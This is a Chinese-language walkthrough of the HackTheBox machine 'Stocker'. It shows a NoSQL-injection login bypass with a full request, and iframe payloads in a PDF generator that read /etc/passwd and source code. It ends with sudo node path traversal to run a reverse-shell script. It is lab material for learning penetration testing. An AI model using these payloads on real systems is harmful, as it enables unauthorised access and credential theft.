当前位置: 首页 > news >正文

HackTheBox Stocker API滥用,CVE-2020-24815获取用户shell,目录遍历提权

在这里插入图片描述

靶机地址:

https://app.hackthebox.com/machines/Stocker

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.196

在这里插入图片描述

机子开放了22,80端口,我们本地解析一下这个域名

echo "10.10.11.196 stocker.htb" >> /etc/hosts 

在这里插入图片描述

去浏览器访问这个网站

在这里插入图片描述

发现只是一个单一的网页,并没有其他的功能,插件也很少

现在扫一下目录和子域名,但是目录并没有扫到什么有用的东西

在这里插入图片描述

但是扫描到一个子域名

./gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u stocker.htb

在这里插入图片描述

本地dns解析后去访问这个子域名

echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts

在这里插入图片描述

CVE-2020-24815获取用户shell

这是一个登录页面

在这里插入图片描述

多半是用nodejs写的

在这里插入图片描述

然后我扫描了一下目录,没有什么可以利用的东西

在这里插入图片描述

看了就是要想办法去突破这个登录页面了,网站是nodejs写的,然后我去Google上搜索了一下关于nodejssql注入的内容,然后发现了这篇文章

https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass

在这里插入图片描述

我们可以尝试绕过这个登录页面,启动burp,然后抓登录包

在这里插入图片描述

需要把Content-Type标头改为json数据,然后在下面输入payload

POST /login HTTP/1.1

Host: dev.stocker.htb

Content-Length: 19

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://dev.stocker.htb

Content-Type: application/json

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://dev.stocker.htb/login

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: connect.sid=s%3A0B2QllbQJO8s_zE5apJUSgndnyzmdVi3.USjl%2BHhDYbne%2BUwk2861GQIHQ84D5cK%2FIgJhJl%2Bo5sY

Connection: close



{"username": {"$ne": null}, "password": {"$ne": null} }

在这里插入图片描述

成功登录,我们这是一个购物网站,现在买一个东西看看有没有突破点

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

提交订单后它会生成一个pdf文件

在这里插入图片描述

到这里我测试了很多东西,这个购物网站的功能很少,页面也很少,sql,rce,什么的都测试了一下,还是不行,我会看burp的http历史的时候发现了一个api请求

在这里插入图片描述

这是我们提交商品的时候请求的信息,之后就会生成一个pdf文件,我尝试修改了一下title标签,发现生成的pdf文件对应的地方也会变

在这里插入图片描述

在这里插入图片描述

这里我想到了很多种漏洞的利用,我把pdf下载下来然后用exiftools工具分析后发现了突破点

在这里插入图片描述

在这里插入图片描述

https://techkranti.com/ssrf-aws-metadata-leakage/
https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file

在这里插入图片描述

它存在ssrf漏洞,可以通过一些特定的方式来读取本地上的文件

现在我们尝试读取一下靶机上的/etc/passwd文件

<iframe src=file:///etc/passwd height=1050px width=800px</iframe>

在这里插入图片描述

在这里插入图片描述

成功利用了,现在我们读取一下nginx的默认配置

<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>

在这里插入图片描述

在这里插入图片描述

这个网站的源代码在/var/www/dev目录下,我们读取一些配置文件看看能不能找到什么有用的东西

<iframe src=file:var/www/dev/index.js height=1050px width=800px</iframe>

在这里插入图片描述
在这里插入图片描述

通过前面读取/etc/passwd,发现这个机子上有两个普通用户,一个是mongodb,一个是angoose,我们读取了配置文件,发现了一个疑似密码的字符串

但是mongodb用户无法用这个密码登录上,angoose可以

在这里插入图片描述

目录遍历提权

在日常查看用户能用sudo命令运行什么工具时,发现了突破点

在这里插入图片描述

我们可以用sudo命令运行node工具,执行在/usr/loacl/scripts目录下的文件,但是我们可以用目录遍历来绕过这个限制

我们在这个网站上生成一个nodejs的rev shellcode

https://www.revshells.com/

在这里插入图片描述

然后在当前目录下创建一个.js文件,将这些代码粘贴进去即可

touch baimao.js

在这里插入图片描述

nc监听端口

在这里插入图片描述

回到靶机执行命令

sudo node /usr/local/scripts/../../../home/angoose/baimao.js

在这里插入图片描述

在这里插入图片描述

相关文章:

  • 【C语言航路】第十四站:文件
  • 2023牛客寒假算法集训营3
  • C++空间命名
  • C语言基础 — ( C语言库函数<stdio.h>——C标准的内容)
  • 【GIS】高分辨率遥感影像智能解译
  • 【Leetcode每日一题】34.在排序数组中查找元素的第一个和最后一个位置|二分求下标
  • 分支语句与循环语句
  • 【Python语言基础】——Python 类和对象
  • Java基础 Stream流方法引用异常文件
  • 【Hadoop】HDFS+Shell实践(定时上传数据至HDFS)
  • 约数个数及约数之和知识点(含公式)
  • 仿牛客论坛项目
  • Linux——进程间通信
  • 《深入浅出计算机组成原理》学习笔记 Day9
  • 2023年新年烟花代码(背景音乐完整版)
  • STM32编写OLED显示屏驱动
  • 【操作系统】—— Windows常用快捷键(带你快速了解)
  • 【数据结构之二叉树系列】二叉树的基本知识
  • 04 |「链表」简析
  • Spring笔记上(基于XML配置)
  • https://app.hackthebox.com/machines/Inject
  • Spring —— Spring简单的读取和存储对象 Ⅱ
  • 渗透测试之冰蝎实战
  • Mybatis、TKMybatis对比
  • Microsoft Office 2019(2022年10月批量许可版)图文教程
  • 《谷粒商城基础篇》分布式基础环境搭建
  • 哈希表题目:砖墙
  • Vue 3.0 选项 生命周期钩子
  • 【车载嵌入式开发】AutoSar架构入门介绍篇
  • 【计算机视觉 | 目标检测】DETR风格的目标检测框架解读